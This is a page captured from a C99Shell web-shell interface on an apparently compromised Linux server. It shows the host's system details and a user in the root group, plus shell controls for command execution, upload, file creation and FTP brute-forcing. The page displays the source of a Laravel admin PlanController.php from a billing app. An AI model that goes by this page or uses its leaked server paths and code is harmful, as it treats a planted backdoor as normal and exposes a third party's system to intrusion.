!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PlanController.php (6.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\BillingRequest;
use 
App\Models\Customer;
use 
App\Models\CustomerPlan;
use 
App\Models\Plan;
use 
Illuminate\Http\Request;

class 
PlanController extends Controller
{
    public function 
index()
    {
        return 
view('admin.plans.index');
    }

    public function 
getAll()
    {

        
$customers auth()->user()->plans()->orderBy('created_at''desc')->select(['id''title''sms_limit''price''status','contact_limit''created_at','device_limit','daily_receive_limit''daily_send_limit','recurring_type']);
        return 
datatables()->of($customers)
            ->
addColumn('created_at', function ($q) {
                return 
$q->created_at->format('d-m-Y');
            })
            ->
addColumn('price', function ($q) {
                return 
formatNumberWithCurrSymbol($q->price);
            })
            ->
addColumn('action', function (Plan $q) {
                return 
"<a class='btn btn-sm btn-info' data-toggle='tooltip' data-placement='top' title='Edit' href='" route('admin.plans.edit', [$q->id]) . "'>"."<i class='fas fa-edit'></i>"."</a>";
            })
            ->
addColumn('status', function ($q) {
                if (
$q->status == 'Active'){
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-success" style="border-radius:25px;">'.$q->status.'</span>';
                }else {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-danger" style="border-radius:25px;">'.$q->status.'</span>';
                }
            })
            ->
rawColumns(['status','action','price'])
            ->
toJson();
    }


    public function 
create()
    {
        return 
view('admin.plans.create');
    }

    public function 
store(Request $request)
    {
        
$request->validate([
            
'title' => 'required|unique:plans',
            
'price' => 'required|numeric',
            
'sms_limit' => 'required|numeric',
            
'contact_limit' => 'required|numeric',
            
'device_limit' => 'required|numeric',
            
// 'wa_device_limit' => 'required|numeric',
            
'daily_receive_limit' => 'required|numeric',
            
'daily_send_limit' => 'required|numeric',
            
'status' => 'required|in:active,inactive',
            
'recurring_type' => 'required|in:weekly,monthly,yearly'
        
]);


        if(
env('APP_DEMO')){
            return 
redirect()->back()->with('fail','This feature is not available on demo mode');
        }
        
auth()->user()->plans()->create($request->all());

        return 
back()->with('success''Plan successfully created');
    }

    public function 
edit(Plan $plan)
    {
        
$data['plan'] = $plan;
        return 
view('admin.plans.edit'$data);
    }

    public function 
update(Plan $planRequest $request)
    {
        
$request->validate([
            
'title' => 'required|unique:plans,title,' $plan->id,
            
'price' => 'required|numeric',
            
'sms_limit' => 'required|numeric',
            
'contact_limit' => 'required|numeric',
            
'device_limit' => 'required|numeric',
            
// 'wa_device_limit' => 'required|numeric',
            
'daily_receive_limit' => 'required|numeric',
            
'daily_send_limit' => 'required|numeric',
            
'status' => 'required|in:active,inactive',
            
'recurring_type' => 'required|in:onetime,weekly,monthly,yearly'
        
]);

        
$valid_data $request->only('title''sms_limit''price''status','contact_limit','device_limit','daily_receive_limit''daily_send_limit','recurring_type');

        
//update the model
        
$plan->update($valid_data);

        return 
back()->with('success''Plan successfully updated. Existing customer of this plan will use previous plan until they upgrade');
    }

    public function 
requests()
    {
        return 
view('admin.plans.requests');
    }

    public function 
get_requests()
    {

        
$requests auth()->user()->plan_requests;
        return 
datatables()->of($requests)
            ->
addColumn('title', function (BillingRequest $q) {
                return 
$q->plan->title;
            })
            ->
addColumn('price', function (BillingRequest $q) {
                return 
formatNumberWithCurrSymbol($q->plan->price);
            })
            ->
addColumn('transaction_id', function (BillingRequest $q) {
                return 
$q->transaction_id;
            })
            ->
addColumn('other_info', function (BillingRequest $q) {
                if (
$q->other_info) {
                    
$array = (array)json_decode($q->other_info);
                    
$obj json_encode(array_combine(array_map("ucfirst"array_keys($array)), array_values($array)));
                } else
                    
$obj "";
                return 
"<div class='show-more' style='max-width: 500px;white-space: pre-wrap'>" str_replace(['_''"'"{""}"], [' '' '''''], $obj) . "</div>";
            })
            ->
addColumn('status', function (BillingRequest $q) {
                return 
$q->status;
            })
            ->
addColumn('action', function (BillingRequest $q) {
                return 
'<button class="mr-1 btn btn-sm btn-info" data-message="Are you sure you want to assign <b>\'' $q->plan->title '\'</b> to \'' $q->customer->full_name '\' ?"
                                        data-action=' 
route('admin.customer.plan.change') . '
                                        data-input={"id":"' 
$q->plan_id '","customer_id":"' $q->customer_id '","from":"request","billing_id":"' $q->id '","status":"accepted"}
                                        data-toggle="modal" data-target="#modal-confirm"  ><i class="fas fa-check-square"></i></button>' 
.
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to reject <b>\'' $q->plan->title '\'</b> for \'' $q->customer->full_name '\' ?"
                                        data-action=' 
route('admin.customer.plan.change') . '
                                        data-input={"id":"' 
$q->plan_id '","customer_id":"' $q->customer_id '","from":"request","billing_id":"' $q->id '","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  ><i class="fas fa-times-circle"></i></button>'
;
            })
            ->
addColumn('customer', function (BillingRequest $q) {
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>" $q->customer->full_name "</a>";
            })
            ->
rawColumns(['action''customer''other_info'])
            ->
toJson();
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--